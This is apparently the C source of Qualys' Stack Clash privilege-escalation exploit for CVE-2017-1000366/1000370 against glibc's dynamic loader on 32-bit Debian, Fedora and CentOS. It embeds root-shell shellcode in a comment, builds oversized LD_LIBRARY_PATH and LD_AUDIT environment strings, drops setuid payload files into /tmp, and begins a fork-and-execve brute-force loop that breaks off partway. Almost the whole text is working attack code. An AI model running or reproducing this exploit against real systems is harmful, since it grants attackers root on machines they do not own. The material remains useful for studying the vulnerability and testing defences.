Linux kernel ldso_hwcap stack clash privilege escalation exploit. This affects Debian 7/8/9/10, Fedora 23/24/25, and CentOS 5.3/5.11/6.0/6.8/7.2.1511.
d6f12ceef7446a165164528e21c0b625/*
* Linux_ldso_hwcap.c for CVE-2017-1000366, CVE-2017-1000370
* Copyright (C) 2017 Qualys, Inc.
*
* my_important_hwcaps() adapted from elf/dl-hwcaps.c,
* part of the GNU C Library:
* Copyright (C) 2012-2017 Free Software Foundation, Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
/**
cat > la.c << "EOF"
static void __attribute__ ((constructor)) _init (void) {
__asm__ __volatile__ (
"addl $64, %esp;"
// setuid(0);
"movl $23, %eax;"
"movl $0, %ebx;"
"int $0x80;"
// setgid(0);
"movl $46, %eax;"
"movl $0, %ebx;"
"int $0x80;"
// dup2(0, 1);
"movl $63, %eax;"
"movl $0, %ebx;"
"movl $1, %ecx;"
"int $0x80;"
// dup2(0, 2);
"movl $63, %eax;"
"movl $0, %ebx;"
"movl $2, %ecx;"
"int $0x80;"
// execve("/bin/sh");
"movl $11, %eax;"
"pushl $0x0068732f;"
"pushl $0x6e69622f;"
"movl %esp, %ebx;"
"movl $0, %edx;"
"pushl %edx;"
"pushl %ebx;"
"movl %esp, %ecx;"
"int $0x80;"
// exit(0);
"movl $1, %eax;"
"movl $0, %ebx;"
"int $0x80;"
);
}
EOF
gcc -fpic -shared -nostdlib -Os -s -o la.so la.c
xxd -i la.so > la.so.h
**/
#define _GNU_SOURCE
#include <assert.h>
#include <elf.h>
#include <fcntl.h>
#include <limits.h>
#include <link.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/param.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#define PAGESZ ((size_t)4096)
#define STACK_ALIGN ((size_t)16)
#define MALLOC_ALIGN ((size_t)8)
#define MMAP_BASE ((uintptr_t)0x40000000)
#define MMAP_RAND ((size_t)1<<20)
#define STACK_BASE ((uintptr_t)0xC0000000)
#define STACK_RAND ((size_t)8<<20)
#define MAX_ARG_STRLEN ((size_t)128<<10)
#define MAX_ARG_STRINGS ((size_t)0x7FFFFFFF)
static const struct target * target;
static const struct target {
const char * name;
size_t memalign_up;
size_t nsystem_dirs_len;
size_t sizeof_system_dirs;
const char * repl_lib;
int ignore_lib;
int ignore_origin;
} targets[] = {
{
.name = "Debian 7 (wheezy)",
.memalign_up = PAGESZ,
.nsystem_dirs_len = 4,
.sizeof_system_dirs = sizeof("/lib/i386-linux-gnu/\0" "/usr/lib/i386-linux-gnu/\0" "/lib/\0" "/usr/lib/"),
.repl_lib = "lib/i386-linux-gnu",
.ignore_lib = 0,
.ignore_origin = 0,
},
{
.name = "Debian 8 (jessie)",
.memalign_up = PAGESZ,
.nsystem_dirs_len = 4,
.sizeof_system_dirs = sizeof("/lib/i386-linux-gnu/\0" "/usr/lib/i386-linux-gnu/\0" "/lib/\0" "/usr/lib/"),
.repl_lib = "lib/i386-linux-gnu",
.ignore_lib = 0,
.ignore_origin = 0,
},
{
.name = "Debian 9 (stretch)",
.memalign_up = 2 * PAGESZ,
.nsystem_dirs_len = 4,
.sizeof_system_dirs = sizeof("/lib/i386-linux-gnu/\0" "/usr/lib/i386-linux-gnu/\0" "/lib/\0" "/usr/lib/"),
.repl_lib = "lib/i386-linux-gnu",
.ignore_lib = 0,
.ignore_origin = 0,
},
{
.name = "Debian 10 (buster)",
.memalign_up = 2 * PAGESZ,
.nsystem_dirs_len = 4,
.sizeof_system_dirs = sizeof("/lib/i386-linux-gnu/\0" "/usr/lib/i386-linux-gnu/\0" "/lib/\0" "/usr/lib/"),
.repl_lib = "lib/i386-linux-gnu",
.ignore_lib = 0,
.ignore_origin = 0,
},
{
.name = "Fedora 23 (Server Edition)",
.memalign_up = PAGESZ,
.nsystem_dirs_len = 2,
.sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"),
.repl_lib = "lib",
.ignore_lib = 0,
.ignore_origin = 0,
},
{
.name = "Fedora 24 (Server Edition)",
.memalign_up = PAGESZ,
.nsystem_dirs_len = 2,
.sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"),
.repl_lib = "lib",
.ignore_lib = 0,
.ignore_origin = 0,
},
{
.name = "Fedora 25 (Server Edition)",
.memalign_up = 2 * PAGESZ,
.nsystem_dirs_len = 2,
.sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"),
.repl_lib = "lib",
.ignore_lib = 0,
.ignore_origin = 0,
},
{
.name = "CentOS 5.3 (Final)",
.memalign_up = PAGESZ,
.nsystem_dirs_len = 2,
.sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"),
.repl_lib = "lib",
.ignore_lib = 1,
.ignore_origin = 0,
},
{
.name = "CentOS 5.11 (Final)",
.memalign_up = PAGESZ,
.nsystem_dirs_len = 2,
.sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"),
.repl_lib = "lib",
.ignore_lib = 0,
.ignore_origin = 1,
},
{
.name = "CentOS 6.0 (Final)",
.memalign_up = PAGESZ,
.nsystem_dirs_len = 2,
.sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"),
.repl_lib = "lib",
.ignore_lib = 0,
.ignore_origin = 0,
},
{
.name = "CentOS 6.8 (Final)",
.memalign_up = PAGESZ,
.nsystem_dirs_len = 2,
.sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"),
.repl_lib = "lib",
.ignore_lib = 0,
.ignore_origin = 1,
},
{
.name = "CentOS 7.2.1511 (AltArch)",
.memalign_up = PAGESZ,
.nsystem_dirs_len = 2,
.sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"),
.repl_lib = "lib",
.ignore_lib = 0,
.ignore_origin = 0,
},
};
#define die() do { \
printf("died in %s: %u\n", __func__, __LINE__); \
exit(EXIT_FAILURE); \
} while (0)
static const ElfW(auxv_t) * my_auxv;
static unsigned long int
my_getauxval (const unsigned long int type)
{
const ElfW(auxv_t) * p;
if (!my_auxv) die();
for (p = my_auxv; p->a_type != AT_NULL; p++)
if (p->a_type == type)
return p->a_un.a_val;
die();
}
static size_t
get_elf_mmaps(const char * const binary)
{
if (!binary) die();
if (*binary != '/') die();
struct stat st;
if (stat(binary, &st)) die();
if (!S_ISREG(st.st_mode)) die();
if (st.st_size <= 0) die();
#define SAFESZ ((size_t)64<<20)
if (st.st_size >= (ssize_t)SAFESZ) die();
const size_t size = st.st_size;
printf("%s %zu mmaps ", binary, size);
const int fd = open(binary, O_RDONLY);
if (fd <= -1) {
const size_t mmaps = (size + PAGESZ-1) & ~(PAGESZ-1);
printf("%zu (unreadable)\n", mmaps);
return mmaps;
}
uint8_t * const buf = malloc(size);
if (!buf) die();
if (read(fd, buf, size) != (ssize_t)size) die();
if (close(fd)) die();
if (size <= sizeof(ElfW(Ehdr))) die();
const ElfW(Ehdr) * const ehdr = (const ElfW(Ehdr) *)buf;
if (ehdr->e_ident[EI_MAG0] != ELFMAG0) die();
if (ehdr->e_ident[EI_MAG1] != ELFMAG1) die();
if (ehdr->e_ident[EI_MAG2] != ELFMAG2) die();
if (ehdr->e_ident[EI_MAG3] != ELFMAG3) die();
if (ehdr->e_ident[EI_CLASS] != ELFCLASS32) die();
if (ehdr->e_ident[EI_DATA] != ELFDATA2LSB) die();
if (ehdr->e_machine != EM_386) die();
if (ehdr->e_version != EV_CURRENT) die();
if (ehdr->e_ehsize != sizeof(ElfW(Ehdr))) die();
if (ehdr->e_phentsize != sizeof(ElfW(Phdr))) die();
if (ehdr->e_shentsize != sizeof(ElfW(Shdr))) die();
if (ehdr->e_phoff <= 0 || ehdr->e_phoff >= size) die();
if (ehdr->e_shoff <= 0 || ehdr->e_shoff >= size) die();
if (ehdr->e_phnum > (size - ehdr->e_phoff) / sizeof(ElfW(Phdr))) die();
if (ehdr->e_shnum > (size - ehdr->e_shoff) / sizeof(ElfW(Shdr))) die();
if (ehdr->e_type != ET_DYN) {
if (ehdr->e_type != ET_EXEC) die();
const size_t mmaps = 0;
printf("%zu (executable)\n", mmaps);
free(buf);
return mmaps;
}
uintptr_t first_map_start = UINTPTR_MAX;
uintptr_t last_map_end = 0;
unsigned int i;
for (i = 0; i < ehdr->e_phnum; i++) {
const ElfW(Phdr) * const phdr = (const ElfW(Phdr) *)(buf + ehdr->e_phoff) + i;
if (phdr->p_type != PT_LOAD) continue;
if (phdr->p_offset >= size) die();
if (phdr->p_filesz > size - phdr->p_offset) die();
if (phdr->p_filesz > phdr->p_memsz) die();
if (phdr->p_vaddr >= STACK_BASE) die();
if (phdr->p_memsz <= 0) die();
if (phdr->p_memsz >= SAFESZ) die();
#undef SAFESZ
if (phdr->p_align != PAGESZ) die();
const uintptr_t map_start = phdr->p_vaddr & ~(PAGESZ-1);
if (map_start >= UINTPTR_MAX) die();
if (map_start < last_map_end) die();
const uintptr_t map_end = (phdr->p_vaddr + phdr->p_memsz + PAGESZ-1) & ~(PAGESZ-1);
if (map_end <= map_start) die();
if (map_end <= 0) die();
if (first_map_start >= UINTPTR_MAX) {
first_map_start = map_start;
}
last_map_end = map_end;
switch (phdr->p_flags) {
case PF_R | PF_X:
break;
case PF_R | PF_W:
if (map_start <= first_map_start) die();
break;
default:
die();
}
}
if (first_map_start >= UINTPTR_MAX) die();
if (last_map_end <= 0) die();
if (last_map_end <= first_map_start) die();
const size_t mmaps = last_map_end - first_map_start;
printf("%zu (%sshared object)\n", mmaps, first_map_start ? "prelinked " : "");
free(buf);
return mmaps;
}
static const char my_x86_cap_flags[32][8] = {
"fpu", "vme", "de", "pse", "tsc", "msr", "pae", "mce",
"cx8", "apic", "10", "sep", "mtrr", "pge", "mca", "cmov",
"pat", "pse36", "pn", "clflush", "20", "dts", "acpi", "mmx",
"fxsr", "sse", "sse2", "ss", "ht", "tm", "ia64", "pbe"
};
static const char my_x86_platforms[4][5] = {
"i386", "i486", "i586", "i686"
};
static inline const char *
my_hwcap_string (const unsigned int idx)
{
if (idx >= sizeof(my_x86_cap_flags) / sizeof(my_x86_cap_flags[0])) die();
return my_x86_cap_flags[idx];
}
struct my_important_hwcaps {
unsigned long hwcap_mask;
size_t max_capstrlen;
size_t pointers;
size_t strings;
size_t search_dirs;
size_t search_dirs_0;
};
struct my_link_map {
const ElfW(Phdr) * l_phdr;
ElfW(Half) l_phnum;
ElfW(Addr) l_addr;
};
/* We want to cache information about the searches for shared objects. */
enum r_dir_status { unknown, nonexisting, existing };
struct r_search_path_elem
{
/* This link is only used in the `all_dirs' member of `r_search_path'. */
struct r_search_path_elem *next;
/* Strings saying where the definition came from. */
const char *what;
const char *where;
/* Basename for this search path element. The string must end with
a slash character. */
const char *dirname;
size_t dirnamelen;
enum r_dir_status status[0];
};
struct r_strlenpair
{
const char *str;
size_t len;
};
/* Return an array of useful/necessary hardware capability names. */
static struct my_important_hwcaps
my_important_hwcaps (const char * const platform, const size_t platform_len,
const uint64_t hwcap, const uint64_t hwcap_mask,
const struct my_link_map * sysinfo_map)
{
static const struct my_important_hwcaps err;
/* Determine how many important bits are set. */
uint64_t masked = hwcap & hwcap_mask;
size_t cnt = platform != NULL;
size_t n, m;
size_t total;
struct r_strlenpair *result;
/* Count the number of bits set in the masked value. */
for (n = 0; (~((1ULL << n) - 1) & masked) != 0; ++n)
if ((masked & (1ULL << n)) != 0)
++cnt;
/* The system-supplied DSO can contain a note of type 2, vendor "GNU".
This gives us a list of names to treat as fake hwcap bits. */
const char *dsocaps = NULL;
size_t dsocapslen = 0;
if (sysinfo_map != NULL)
{
const ElfW(Phdr) *const phdr = sysinfo_map->l_phdr;
const ElfW(Word) phnum = sysinfo_map->l_phnum;
uint_fast16_t i;
for (i = 0; i < phnum; ++i)
if (phdr[i].p_type == PT_NOTE)
{
const ElfW(Addr) start = (phdr[i].p_vaddr
+ sysinfo_map->l_addr);
/* The standard ELF note layout is exactly as the anonymous struct.
The next element is a variable length vendor name of length
VENDORLEN (with a real length rounded to ElfW(Word)), followed
by the data of length DATALEN (with a real length rounded to
ElfW(Word)). */
const struct
{
ElfW(Word) vendorlen;
ElfW(Word) datalen;
ElfW(Word) type;
} *note = (const void *) start;
while ((ElfW(Addr)) (note + 1) - start < phdr[i].p_memsz)
{
#define ROUND(len) (((len) + sizeof (ElfW(Word)) - 1) & -sizeof (ElfW(Word)))
/* The layout of the type 2, vendor "GNU" note is as follows:
.long <Number of capabilities enabled by this note>
.long <Capabilities mask> (as mask >> _DL_FIRST_EXTRA).
.byte <The bit number for the next capability>
.asciz <The name of the capability>. */
if (note->type == NT_GNU_HWCAP
&& note->vendorlen == sizeof "GNU"
&& !memcmp ((note + 1), "GNU", sizeof "GNU")
&& note->datalen > 2 * sizeof (ElfW(Word)) + 2)
{
const ElfW(Word) *p = ((const void *) (note + 1)
+ ROUND (sizeof "GNU"));
cnt += *p++;
++p; /* Skip mask word. */
dsocaps = (const char *) p; /* Pseudo-string "<b>name" */
dsocapslen = note->datalen - sizeof *p * 2;
break;
}
note = ((const void *) (note + 1)
+ ROUND (note->vendorlen) + ROUND (note->datalen));
#undef ROUND
}
if (dsocaps != NULL)
break;
}
}
/* For TLS enabled builds always add 'tls'. */
++cnt;
/* Create temporary data structure to generate result table. */
if (cnt < 2) return err;
if (cnt >= 32) return err;
struct r_strlenpair temp[cnt];
m = 0;
if (dsocaps != NULL)
{
/* dsocaps points to the .asciz string, and -1 points to the mask
.long just before the string. */
const ElfW(Word) mask = ((const ElfW(Word) *) dsocaps)[-1];
size_t len;
const char *p;
for (p = dsocaps; p < dsocaps + dsocapslen; p += len + 1)
{
uint_fast8_t bit = *p++;
len = strlen (p);
/* Skip entries that are not enabled in the mask word. */
if (mask & ((ElfW(Word)) 1 << bit))
{
temp[m].str = p;
temp[m].len = len;
++m;
}
else
--cnt;
}
}
for (n = 0; masked != 0; ++n)
if ((masked & (1ULL << n)) != 0)
{
temp[m].str = my_hwcap_string (n);
temp[m].len = strlen (temp[m].str);
masked ^= 1ULL << n;
++m;
}
if (platform != NULL)
{
temp[m].str = platform;
temp[m].len = platform_len;
++m;
}
temp[m].str = "tls";
temp[m].len = 3;
++m;
assert (m == cnt);
/* Determine the total size of all strings together. */
if (cnt == 1)
total = temp[0].len + 1;
else
{
total = temp[0].len + temp[cnt - 1].len + 2;
if (cnt > 2)
{
total <<= 1;
for (n = 1; n + 1 < cnt; ++n)
total += temp[n].len + 1;
if (cnt > 3
&& (cnt >= sizeof (size_t) * 8
|| total + (sizeof (*result) << 3)
>= (1UL << (sizeof (size_t) * 8 - cnt + 3))))
return err;
total <<= cnt - 3;
}
}
/* The result structure: we use a very compressed way to store the
various combinations of capability names. */
const size_t _sz = 1 << cnt;
/* Now we are ready to install the string pointers and length. */
size_t max_capstrlen = 0;
n = cnt;
do
{
const size_t mask = 1 << --n;
for (m = 1 << cnt; m > 0; ) {
if ((--m & mask) != 0)
max_capstrlen += temp[n].len + 1;
break;
}
}
while (n != 0);
const size_t round_size =
(2 * sizeof (struct r_search_path_elem) - 1 + _sz * sizeof (enum r_dir_status))
/ sizeof (struct r_search_path_elem);
if (hwcap_mask > ULONG_MAX) die();
const struct my_important_hwcaps ret = {
.hwcap_mask = hwcap_mask,
.max_capstrlen = max_capstrlen,
.pointers = _sz * sizeof (*result),
.strings = total,
.search_dirs = (target->nsystem_dirs_len + 1) * sizeof (struct r_search_path_elem *),
.search_dirs_0 = target->sizeof_system_dirs * round_size * sizeof (struct r_search_path_elem)
};
return ret;
}
static size_t
my_bsearch(const void * const key,
const void * const base, const size_t nmemb, const size_t size,
int (* const compar)(const void *, const void *))
{
if (!key) die();
if (!size) die();
if (!compar) die();
if (nmemb >= SSIZE_MAX / size) die();
if (!base != !nmemb) die();
if (!base || !nmemb) return 0;
size_t low = 0;
size_t high = nmemb - 1;
while (low <= high) {
const size_t mid = low + (high - low) / 2;
if (mid >= nmemb) die();
const int cond = compar(key, base + mid * size);
switch (cond) {
case 0:
return mid;
case -1:
if (mid <= 0) {
if (mid != 0) die();
if (low != 0) die();
return low;
}
high = mid - 1;
break;
case +1:
low = mid + 1;
break;
default:
die();
}
}
if (low > nmemb) die();
return low;
}
static int
cmp_important_hwcaps(const void * const _a, const void * const _b)
{
const struct my_important_hwcaps * const a = _a;
const struct my_important_hwcaps * const b = _b;
if (a->strings < b->strings) return -1;
if (a->strings > b->strings) return +1;
if (a->pointers < b->pointers) return -1;
if (a->pointers > b->pointers) return +1;
if (a->search_dirs_0 < b->search_dirs_0) return -1;
if (a->search_dirs_0 > b->search_dirs_0) return +1;
if (a->max_capstrlen < b->max_capstrlen) return -1;
if (a->max_capstrlen > b->max_capstrlen) return +1;
return 0;
}
struct audit_list
{
const char *name;
struct audit_list *next;
};
int
main(const int my_argc, const char * const my_argv[], const char * const my_envp[])
{
{
const char * const * p = my_envp;
while (*p++) ;
my_auxv = (const void *)p;
}
if (my_getauxval(AT_PAGESZ) != PAGESZ) die();
{
struct timeval tv;
if (gettimeofday(&tv, NULL)) die();
srandom(getpid() ^ tv.tv_sec ^ tv.tv_usec);
}
if (my_argc != 1+2) {
printf("Usage: %s target binary\n", my_argv[0]);
size_t i;
for (i = 0; i < sizeof(targets)/sizeof(*targets); i++) {
printf("Target %zu %s\n", i, targets[i].name);
}
die();
}
{
const size_t i = strtoul(my_argv[1], NULL, 10);
if (i >= sizeof(targets)/sizeof(*targets)) die();
target = targets + i;
printf("Target %zu %s\n", i, target->name);
}
printf("mau %zu nsd %zu ssd %zu rl %s il %d io %d\n",
target->memalign_up, target->nsystem_dirs_len, target->sizeof_system_dirs,
target->repl_lib, target->ignore_lib, target->ignore_origin);
if (target->memalign_up % PAGESZ) die();
if (target->ignore_lib < 0 || target->ignore_origin < 0) die();
if (target->ignore_lib > 1 || target->ignore_origin > 1) die();
const char * const binary = realpath(my_argv[2], NULL);
if (!binary) die();
if (*binary != '/') die();
if (access(binary, X_OK)) die();
const char * const slash = strrchr(binary, '/');
if (!slash) die();
if (slash <= binary) die();
const char * const origin = strndup(binary, slash - binary);
if (!origin) die();
printf("origin %s (%zu)\n", origin, strlen(origin));
const char * const platform = (const void *)my_getauxval(AT_PLATFORM);
if (!platform) die();
const size_t platform_len = strlen(platform);
if (platform_len != 4) die();
{
size_t i;
for (i = 0; ; i++) {
if (i >= sizeof(my_x86_platforms) / sizeof(my_x86_platforms[0])) die();
if (strcmp(platform, my_x86_platforms[i]) == 0) break;
}
}
const struct {
const char * str;
size_t len;
size_t repl_len;
} DSTs[] = {
#define DST_LIB "LIB"
{ DST_LIB, strlen(DST_LIB), strlen(target->repl_lib) },
#define DST_PLATFORM "PLATFORM"
{ DST_PLATFORM, strlen(DST_PLATFORM), platform_len }
};
size_t repl_max = target->ignore_origin ? 0 : strlen(origin);
{
size_t i;
for (i = target->ignore_lib ? 1 : 0; i < sizeof(DSTs)/sizeof(*DSTs); i++) {
if (repl_max < DSTs[i].repl_len)
repl_max = DSTs[i].repl_len;
}
}
printf("repl_max %zu\n", repl_max);
if (repl_max < 4) die();
const ElfW(Ehdr) * const sysinfo_dso = (const void *)my_getauxval(AT_SYSINFO_EHDR);
if (!sysinfo_dso) die();
struct my_link_map sysinfo_map = {
.l_phdr = (const void *)sysinfo_dso + sysinfo_dso->e_phoff,
.l_phnum = sysinfo_dso->e_phnum,
.l_addr = ULONG_MAX
};
{
uint_fast16_t i;
for (i = 0; i < sysinfo_map.l_phnum; ++i) {
const ElfW(Phdr) * const ph = &sysinfo_map.l_phdr[i];
if (ph->p_type == PT_LOAD) {
if (sysinfo_map.l_addr == ULONG_MAX)
sysinfo_map.l_addr = ph->p_vaddr;
}
}
}
if (sysinfo_map.l_addr == ULONG_MAX) die();
sysinfo_map.l_addr = (ElfW(Addr))sysinfo_dso - sysinfo_map.l_addr;
const unsigned long hwcap = my_getauxval(AT_HWCAP);
if (!hwcap) die();
struct my_important_hwcaps * important_hwcaps = NULL;
size_t num_important_hwcaps = 0;
{
size_t max_important_hwcaps = 0;
uint32_t hwcap_mask = 1;
do {
if (hwcap_mask & ~hwcap) continue;
const uint64_t popcount = __builtin_popcount(hwcap_mask);
if (popcount < 1) die();
if (popcount > 32) die();
if ((((2+1) * (2*2 + popcount)) << (popcount-1)) + PAGESZ
>= MAX_ARG_STRLEN + (MAX_ARG_STRLEN / (4+1)) * (repl_max - (target->ignore_lib ? 7 : 4))) continue;
const struct my_important_hwcaps ihc = my_important_hwcaps(platform, platform_len, hwcap, hwcap_mask, &sysinfo_map);
if (!ihc.pointers) die();
const size_t idx = my_bsearch(&ihc, important_hwcaps, num_important_hwcaps, sizeof(struct my_important_hwcaps), cmp_important_hwcaps);
if (idx > num_important_hwcaps) die();
if (idx == num_important_hwcaps || cmp_important_hwcaps(&ihc, important_hwcaps + idx)) {
if (num_important_hwcaps >= max_important_hwcaps) {
if (num_important_hwcaps != max_important_hwcaps) die();
if (max_important_hwcaps >= 65536) die();
max_important_hwcaps += 256;
if (num_important_hwcaps >= max_important_hwcaps) die();
important_hwcaps = realloc(important_hwcaps, max_important_hwcaps * sizeof(struct my_important_hwcaps));
if (!important_hwcaps) die();
}
memmove(important_hwcaps + idx + 1, important_hwcaps + idx, (num_important_hwcaps - idx) * sizeof(struct my_important_hwcaps));
important_hwcaps[idx] = ihc;
num_important_hwcaps++;
}
} while (++hwcap_mask);
}
printf("num_important_hwcaps %zu\n", num_important_hwcaps);
static struct {
double probability;
struct my_important_hwcaps ihc;
size_t gwr, dst, cnt;
} best;
#define LIB "/lib"
#define SEP_LIB ":" LIB
#define LLP "LD_LIBRARY_PATH="
static char llp[MAX_ARG_STRLEN];
#define MAX_GWR ((sizeof(llp) - (sizeof(LLP)-1 + sizeof(SEP_LIB)-1 + 1)) & ~(MALLOC_ALIGN-1))
size_t gwr;
for (gwr = MAX_GWR; gwr >= 128; gwr -= MALLOC_ALIGN) {
size_t dst;
for (dst = 0; dst < sizeof(DSTs)/sizeof(*DSTs); dst++) {
const size_t cnt = (MAX_GWR - gwr) / (1 + DSTs[dst].len + 1);
const size_t gpj = (sizeof(SEP_LIB)-1 + MAX_GWR + cnt * (repl_max - (target->ignore_lib ? 7 : 4)) + 1 + STACK_ALIGN-1) & ~(STACK_ALIGN-1);
const size_t bwr = (sizeof(SEP_LIB)-1 + cnt * (DSTs[dst].repl_len + 1)) + ((MAX_GWR - gwr) - cnt * (1 + DSTs[dst].len + 1)) + 1;
const struct my_important_hwcaps key = { .strings = gwr + bwr };
if (key.pointers) die();
size_t idx = my_bsearch(&key, important_hwcaps, num_important_hwcaps, sizeof(struct my_important_hwcaps), cmp_important_hwcaps);
for (; idx < num_important_hwcaps; idx++) {
const struct my_important_hwcaps ihc = important_hwcaps[idx];
if (ihc.strings < gwr + bwr) die();
if (ihc.max_capstrlen % MALLOC_ALIGN >= sizeof("/..")) continue;
if (ihc.search_dirs_0 >= STACK_RAND) continue;
const size_t min = MIN(gwr, ihc.pointers);
if (gpj < min + ihc.strings + ihc.search_dirs + 2 * target->memalign_up + 2 * PAGESZ + (target->ignore_origin ? 0 : PATH_MAX)) continue;
const double probability =
(double)((uint64_t)(STACK_RAND - ihc.search_dirs_0) * (uint64_t)min) /
(double)((uint64_t)STACK_RAND * (uint64_t)(MMAP_RAND + (STACK_RAND - ihc.search_dirs_0)));
if (best.probability < probability) {
best.probability = probability;
best.ihc = ihc;
best.gwr = gwr;
best.dst = dst;
best.cnt = cnt;
printf("len %zu ihcp %zu ihcs %zu sd %zu sd0 %zu gpj %zu gwr %zu bwr %zu cnt %zu dst %zu repl %zu probability 1/%zu (%.10g) mask %lx\n",
ihc.max_capstrlen, ihc.pointers, ihc.strings, ihc.search_dirs, ihc.search_dirs_0, gpj, gwr, bwr, cnt, DSTs[dst].len, DSTs[dst].repl_len,
(size_t)(1 / probability), probability, ihc.hwcap_mask);
}
}
}
}
if (!best.probability) die();
if (STACK_BASE <= MMAP_BASE) die();
const size_t mmap_size = ((STACK_BASE - MMAP_BASE) / 2) - MMAP_RAND / 2
- (get_elf_mmaps(binary) + get_elf_mmaps("/lib/ld-linux.so.2") + best.ihc.pointers + best.ihc.strings + best.ihc.search_dirs);
const size_t stack_size = ((STACK_BASE - MMAP_BASE) / 2) - ((STACK_RAND + best.ihc.search_dirs_0) / 2);
printf("mmap_size %zu stack_size %zu\n", mmap_size, stack_size);
#define REL_LA "a"
#define LDA "LD_AUDIT="
static char lda[MAX_ARG_STRLEN];
#define MAX_RLDAS ((sizeof(lda) - sizeof(LDA)) / sizeof(REL_LA))
if (sizeof(struct audit_list) % MALLOC_ALIGN) die();
const size_t ldas = (mmap_size / sizeof(struct audit_list)) / MAX_RLDAS;
if (ldas >= MAX_ARG_STRINGS / 3) die();
#define INITIAL_STACK_EXPANSION (131072UL)
const size_t pads = INITIAL_STACK_EXPANSION / sizeof(char *) - ldas;
if (pads >= INITIAL_STACK_EXPANSION / sizeof(char *)) die();
if (pads >= MAX_ARG_STRINGS / 3) die();
static char pad[MAX_ARG_STRLEN];
{
const size_t padl = (stack_size - sizeof(llp) - ldas * (sizeof(lda) + sizeof(char *)) - pads * sizeof(char *)) / pads;
if (padl >= sizeof(pad)) die();
if (padl <= 0) die();
memset(pad, ' ', padl-1);
printf("ldas %zu pads %zu padl %zu\n", ldas, pads, padl);
}
{
char * cp = mempcpy(llp, LLP, sizeof(LLP)-1);
memset(cp, '/', MAX_GWR);
memcpy(cp + MAX_GWR, SEP_LIB, sizeof(SEP_LIB)-1);
if (*(cp + MAX_GWR + sizeof(SEP_LIB)-1)) die();
#define LIB_TO_TMP "/../tmp/"
if (sizeof(LIB_TO_TMP)-1 != MALLOC_ALIGN) die();
if (!best.gwr) die();
if (best.gwr >= MAX_GWR) die();
if (best.gwr % MALLOC_ALIGN) die();
size_t i;
for (i = 0; i < best.gwr / MALLOC_ALIGN; i++) {
cp = mempcpy(cp, LIB_TO_TMP, MALLOC_ALIGN);
}
if (!best.cnt) die();
if (best.dst >= sizeof(DSTs)/sizeof(*DSTs)) die();
for (i = 0; i < best.cnt; i++) {
*cp++ = '$';
cp = mempcpy(cp, DSTs[best.dst].str, DSTs[best.dst].len);
*cp++ = '/';
}
if (cp >= llp + sizeof(llp)) die();
if (llp[sizeof(llp)-1]) die();
}
#define LHCM "LD_HWCAP_MASK="
static char lhcm[64];
if ((unsigned int)snprintf(lhcm, sizeof(lhcm), "%s%lu", LHCM, best.ihc.hwcap_mask)
>= sizeof(lhcm)) die();
{
char * cp = mempcpy(lda, LDA, sizeof(LDA)-1);
size_t i;
for (i = 0; i < MAX_RLDAS; i++) {
cp = mempcpy(cp, REL_LA ":", sizeof(REL_LA));
}
if (cp >= lda + sizeof(lda)) die();
if (*cp) die();
}
static char rlda[MAX_ARG_STRLEN];
const size_t args = 1 + pads + 1;
char ** const argv = calloc(args, sizeof(char *));
if (!argv) die();
{
char ** ap = argv;
*ap++ = (char *)binary;
size_t i;
for (i = 0; i < pads; i++) {
*ap++ = pad;
}
*ap++ = NULL;
if (ap != argv + args) die();
}
const size_t envs = 2 + ldas + 2;
char ** const envp = calloc(envs, sizeof(char *));
if (!envp) die();
{
char ** ep = envp;
*ep++ = llp;
*ep++ = lhcm;
size_t i;
for (i = 0; i < ldas; i++) {
*ep++ = lda;
}
*ep++ = rlda;
*ep++ = NULL;
if (ep != envp + envs) die();
}
{
static const struct rlimit rlimit_stack = { RLIM_INFINITY, RLIM_INFINITY };
if (setrlimit(RLIMIT_STACK, &rlimit_stack)) die();
}
int pipefd[2];
if (pipe(pipefd)) die();
if (close(pipefd[0])) die();
pipefd[0] = -1;
if (signal(SIGPIPE, SIG_DFL) == SIG_ERR) die();
{
#define ABS_LA_DIR "/" LIB "/" LIB_TO_TMP "/"
static const char * const abs_las[] = {
ABS_LA_DIR "" REL_LA,
ABS_LA_DIR "/" REL_LA,
ABS_LA_DIR "/." REL_LA,
ABS_LA_DIR "/.." REL_LA,
};
size_t i;
for (i = 0; i < sizeof(abs_las)/sizeof(*abs_las); i++) {
const int fd = open(abs_las[i], O_WRONLY | O_CREAT | O_TRUNC | O_NOFOLLOW, 0);
if (fd <= -1) die();
{
struct stat st;
if (fstat(fd, &st)) die();
if (!S_ISREG(st.st_mode)) die();
if (st.st_uid != getuid()) die();
if (st.st_uid != geteuid()) die();
}
{
static const
#include "la.so.h"
if (sizeof(la_so) != la_so_len) die();
if (write(fd, la_so, sizeof(la_so)) != (ssize_t)sizeof(la_so)) die();
}
if (fchmod(fd, 04755)) die();
if (close(fd)) die();
}
}
size_t try;
for (try = 1; try <= 65536; try++) {
{
char * cp = mempcpy(rlda, LDA, sizeof(LDA)-1);
size_t rldas = 1 + random() % (65536 / sizeof(struct audit_list));
if (rldas > MAX_RLDAS) die();
if (rldas <= 0) die();
while (rldas--) {
cp = mempcpy(cp, REL_LA ":", sizeof(REL_LA));
}
if (cp >= rlda + sizeof(rlda)) die();
*cp = '\0';
}
if (fflush(stdout)) die();
const pid_t pid = fork();
if (pid <= -1) die();
if (pid == 0) {
if (dup2(pipefd[1], 1) != 1) die();
if (dup2(pipefd[1], 2) != 2) die();
execve(*argv, argv, envp);
die();
}
int status = 0;
struct timeval start, stop, diff;
if (gettimeofday(&start, NULL)) die();
if (waitpid(pid, &status, WUNTRACED) != pid) die();
